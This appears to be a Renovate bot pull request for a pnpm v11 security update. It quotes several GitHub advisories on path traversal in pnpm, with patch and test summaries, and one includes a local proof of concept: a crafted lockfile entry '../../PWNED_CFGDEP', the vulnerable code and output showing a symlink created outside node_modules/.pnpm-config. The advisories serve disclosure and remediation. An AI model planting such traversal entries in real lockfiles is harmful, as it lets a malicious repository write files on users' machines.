Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling.
The complete batch is validated before any file is removed.
Component-aware predicates accept valid names beginning with .. while still rejecting parent traversal, Windows drive escapes, and UNC escapes.
Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work.
A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling.

Exploit replay

Before the patch, a workspace patchedDependencies path that resolved outside the project caused pnpm patch-remove to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: realpath() returned ENOENT, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact.

Files changed

patching/commands/src/isSubdirectory.ts performs component-aware containment checks.
patching/commands/src/patchRemove.ts validates the full batch, canonicalizes parents, and unlinks final entries without following them.
patching/commands/test/{isSubdirectory,patchRemove}.test.ts covers traversal, nested symlinks, dangling victims, and valid removals.

Commands run

$ pnpm --filter @&#8203;pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts
PASS: 11 tests across 2 suites
$ pnpm --filter @&#8203;pnpm/patching.commands run compile
PASS
$ git diff --check
PASS

Validation

Focused handler and path-predicate suites: 11 passed across 2 suites.
Package-wide ESLint: passed.
Package TypeScript build: passed.
Commit hooks, Commitlint, and git diff --check: passed.
The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used /private/tmp.

Patches

10.34.4: pnpm/pnpm@352ae48
11.7.0: pnpm/pnpm@612a2e6

Compatibility

Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. patch-remove is not yet in pacquet's command surface, so no Rust-side parity change is required.

Remaining risk

Portable Node APIs do not expose directory-fd-relative unlinkat(). A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch.

Written by an agent (Codex, GPT-5).

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Hoisted install imports lockfile alias outside node_modules

CVE-2026-59196 / GHSA-fr4h-3cph-29xv

More information

Details

Summary

The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.

A crafted lockfile alias could be joined directly under a hoisted node_modules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.

Security boundary

The TypeScript hoisted graph uses the shared safe join helper at the actual dep.name sink.
The helper rejects traversal, absolute, platform-specific, and reserved package names.
Pacquet validates the hoister's dep.0.name before adding the graph node or recursing.
Both implementations return ERR_PNPM_INVALID_DEPENDENCY_NAME.
Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.

Exploit replay

Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.

Files changed

fs/symlink-dependency/src/safeJoinModulesDir.ts provides the TypeScript containment helper.
installing/deps-restorer/src/lockfileToHoistedDepGraph.ts validates the parsed dependency name at the hoisted graph sink.
pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs} mirrors that boundary in Rust.
TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.

Commands run

$ pnpm --filter @&#8203;pnpm/fs.symlink-dependency test
PASS: 24 tests
$ pnpm --filter @&#8203;pnpm/installing.deps-restorer test test/index.ts
PASS: exploit regression and positive install control
$ cargo test --locked -p pacquet-package-manager --lib
PASS: 426 tests
$ cargo fmt --all -- --check
PASS

Validation

TypeScript symlink helper: 24 passed.
TypeScript exploit regression: 1 passed.
TypeScript positive hoisted-install control: 1 passed.
Targeted strict TypeScript compiles: passed.
Targeted ESLint: zero errors.
Pacquet helper tests: 3 passed.
Full pacquet package-manager library suite: 426 passed.
cargo fmt, parsed two-document lockfile validation, and git diff --check: passed.

Patch

Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1

GitHub reports the branch as mergeable and has requested review from zkochan. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

Compatibility

Valid unscoped and scoped package aliases continue to work. The changeset covers @pnpm/fs.symlink-dependency, @pnpm/installing.deps-restorer, and pnpm; pacquet is updated in the same commit for CLI parity.

Written by an agent (Codex, GPT-5).

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

CVE-2026-59195 / GHSA-qrv3-253h-g69c

More information

Details

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

The malicious input is committed in pnpm-lock.yaml.
The issue is triggered during pnpm install.
It works with --ignore-scripts.
It occurs in the config dependency installation path, before ordinary dependency installation.
The user only needs to install a malicious or compromised repository.

Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date

Done in 906ms using pnpm v11.5.1

The PoC then detected the escaped symlink:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed:

Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0

Security boundary violation

The intended config dependency root was:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

But pnpm created:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Suggested remediation

Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

Reject env-lockfile configDependencies names that are not valid npm package names.
Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.
Use containment-checked path joining before creating symlinks:
- resolve the final destination path,
- verify it remains inside node_modules/.pnpm-config,
- reject if it escapes.
Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.
Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)

if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
  throw new Error(`Invalid config dependency name: ${pkgName}`)
}

Name validation should happen before this check, not instead of it.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

References

[https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c](https://redirect.github.com/pnpm/pnpm/security/advis

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PR body was truncated to here.

chore(deps): update pnpm to v11 [security]

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renovate Bot added ci:auto-merge dependencies Pull requests that update a dependency file labels Jun 27, 2026

renovate Bot assigned trim21 Jun 27, 2026

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chore(deps): update pnpm to v11 [security]#331

chore(deps): update pnpm to v11 [security]#331
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renovate Bot commented Jun 27, 2026 •

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pnpm: Repository config can expand victim environment secrets into registry requests before scripts run

Details

Maintainer Action Plan

Expected Patched Behavior

Files And Tests To Review

Focused Validation

CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run

Advisory Details

Summary

Details

PoC

Impact

Affected Products

Severity

Weaknesses

Patch

Verification

CVSS Reassessment

Severity

References

pnpm: Reserved bin name deletes PNPM_HOME during global remove

Details

Maintainer Action Plan

Expected Patched Behavior

Files And Tests To Review

Focused Validation

Title

Description

Summary

Details

PoC

Impact

Affected Products

Severity

Weaknesses

Patch

Validation

Severity

References

pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle

Details

Summary

Security boundary

Exploit replay

Files changed

Commands run

Validation

Patches

Compatibility

CI note

Severity

References

pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes

Details

Maintainer Action Plan

Expected Patched Behavior

Files And Tests To Review

Focused Validation

Summary

Details

PoC

Impact

Affected products

Severity

Weaknesses

Patch

CVSS Reassessment

Remaining Risk

Severity

References

pnpm: patch-remove could delete project-selected files outside the patches directory

Details

Summary

Security boundary

Exploit replay

Files changed

renovate Bot commented Jun 27, 2026 •

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pnpm: `patch-remove` could delete project-selected files outside the patches directory